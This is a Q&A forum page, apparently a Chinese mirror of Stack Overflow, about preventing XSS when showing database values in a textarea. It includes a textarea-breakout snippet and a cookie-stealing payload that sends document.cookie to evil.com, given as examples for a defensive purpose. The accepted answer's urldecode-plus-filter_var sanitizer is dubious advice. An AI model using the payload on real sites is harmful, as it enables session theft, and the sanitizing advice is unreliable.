dtlygweb2017 2012-04-22 17:42
浏览 215
已采纳

从XSS消毒输出到Textarea

What are the best methods of sanitizing values from a database (in php) if they are to be used in inputs like textareas?

For example, when inserting data, I can strip tags and quotes and replace them with html char codes and then use mysql_real_escape_string right before insertion.

When retrieving that data back, I need it to show up in a textarea. How can I do this and still avoid XSS? (Ex. you could easily type in

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

) and cause problems.

Thanks!

  • 写回答

3条回答 默认 最新

  • dousha2020 2012-04-22 19:12
    关注

    I think i would prefer a combo of filter_var and url_decode if you want to use a pure simple php Solution

    Reason

    Imagine an impute like this

    $maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
    

    If i use strip_tags

    var_dump(strip_tags($maliciousCode));
    

    Output

    string 'document.write("' (length=16)
    

    if i use htmlspecialchars

    var_dump(htmlspecialchars($maliciousCode));
    

    Output

    string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)
    

    My Choice

    function cleanData($str) {
        $str = urldecode ($str );
        $str = filter_var($str, FILTER_SANITIZE_STRING);
        $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
        return $str ;
    }
    
    $input = cleanData ( $maliciousCode );
    var_dump($input);
    

    Output

     string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)
    

    If form is using GET instead of POST some can till escape if it is url encoded , you are able to get a minimal information and make sure the final text is harmless

    The are also enough class online to help you do filter see

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?

悬赏问题

  • ¥15 Excel发现不可读取的内容
  • ¥15 UE5#if WITH_EDITOR导致打包的功能不可用
  • ¥15 关于#stm32#的问题:CANOpen的PDO同步传输问题
  • ¥20 yolov5自定义Prune报错,如何解决?
  • ¥15 电磁场的matlab仿真
  • ¥15 mars2d在vue3中的引入问题
  • ¥50 h5唤醒支付宝并跳转至向小荷包转账界面
  • ¥15 算法题:数的划分,用记忆化DFS做WA求调
  • ¥15 chatglm-6b应用到django项目中,模型加载失败
  • ¥15 CreateBitmapFromWicBitmap内存释放问题。